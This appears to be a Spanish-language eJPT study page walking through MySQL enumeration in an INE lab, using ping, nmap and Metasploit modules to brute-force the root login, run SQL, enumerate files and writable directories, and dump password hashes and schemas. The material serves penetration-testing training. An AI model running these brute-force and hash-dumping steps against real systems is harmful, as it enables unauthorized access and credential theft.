> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/metodologias-de-evaluacion/enumeracion/enumeracion-de-servicios/enumeracion-de-mysql.md).

# Enumeración de MySQL

**MySQL** es un sistema de gestión de bases de datos relacional de código abierto ampliamente utilizado en entornos de desarrollo web y backend. Su uso masivo lo convierte en un objetivo común durante las fases de enumeración y explotación de pruebas de penetración.

***

## 📦 Características de MySQL

* Lenguaje base: **SQL** (Structured Query Language).
* Puerto por defecto: **TCP/3306** (aunque puede cambiarse).
* Funciona como backend para muchos CMS, aplicaciones web y sistemas de gestión empresarial.
* En muchos entornos mal configurados, puede permitir acceso remoto con credenciales débiles o incluso sin autenticación.

***

## 🎯 Objetivos de la enumeración de MySQL

Durante una auditoría, se busca:

* Detectar si MySQL está expuesto.
* Identificar la versión del servidor.
* Enumerar usuarios válidos.
* Realizar ataques de fuerza bruta contra usuarios.
* Ver si se puede ejecutar consultas SQL remotamente.
* Escalar privilegios a `root` dentro de MySQL (si aplica)

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/aT66z7x0FUdTeV4nxNYa" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/8TsmuljKmQc1byANQu2X" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo nmap contra el objetivo:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/VWq1IRW1es4BwkA2RSxB" alt=""><figcaption></figcaption></figure>

El servicio MySQL se está ejecutando en el destino.

**Paso 4:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_version .**

**Comandos:**

```
msfconsole -q
use auxiliary/scanner/mysql/mysql_version
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/DHiNGci0WKkCT9Cs3u7z" alt=""><figcaption></figcaption></figure>

**Paso 5:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_login .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_login
set RHOSTS demo.ine.local
set USERNAME root
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
set VERBOSE false
run
```

<figure><img src="/files/XsLoRbkHxr5aZDymlBhy" alt=""><figcaption></figcaption></figure>

**Paso 6:** Ejecute el módulo **auxiliar/admin/mysql/mysql\_enum .**

**Comandos:**

```
use auxiliary/admin/mysql/mysql_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/gNUKrahn06ldNMOJTUrI" alt=""><figcaption></figcaption></figure>

**Paso 7:** Ejecute el módulo **auxiliar/admin/mysql/mysql\_sql .**

**Comandos:**

```
use auxiliary/admin/mysql/mysql_sql
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/gwdwmu531ckIFUixc9ru" alt=""><figcaption></figcaption></figure>

**Paso 8:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_file\_enum .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_file_enum
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
set FILE_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
set VERBOSE true
run
```

<figure><img src="/files/Pr2YFuU5HfmNPmfGqO9h" alt=""><figcaption></figcaption></figure>

**Paso 9:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_hashdump .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_hashdump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/jDctnF6QZ3Fff3YowdZH" alt=""><figcaption></figcaption></figure>

**Paso 10:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_schemadump .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_schemadump
set USERNAME root
set PASSWORD twinkle
set RHOSTS demo.ine.local
run
```

<figure><img src="/files/fABYlilWvHqqzhl3280l" alt=""><figcaption></figcaption></figure>

**Paso 11:** Ejecute el módulo **auxiliar/scanner/mysql/mysql\_writable\_dirs .**

**Comandos:**

```
use auxiliary/scanner/mysql/mysql_writable_dirs
set RHOSTS demo.ine.local
set USERNAME root
set PASSWORD twinkle
set DIR_LIST /usr/share/metasploit-framework/data/wordlists/directory.txt
run
```

<figure><img src="/files/USwzehRO7zkCLBShKBmL" alt=""><figcaption></figcaption></figure>

#### Conclusión

En este laboratorio, exploramos diferentes módulos de metasploit relacionados con MySQL que podemos ejecutar contra el objetivo y recopilar información confidencial.

#### Referencias

* [MySQL](https://www.mysql.com/)
* Módulos de Metasploit:
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_version>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_login>
  * <https://www.rapid7.com/db/modules/auxiliary/admin/mysql/mysql\\_enum>
  * <https://www.rapid7.com/db/modules/auxiliary/admin/mysql/mysql\\_sql>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_file\\_enum>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_hashdump>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_schemadump>
  * <https://www.rapid7.com/db/modules/auxiliary/scanner/mysql/mysql\\_writable\\_dirs>
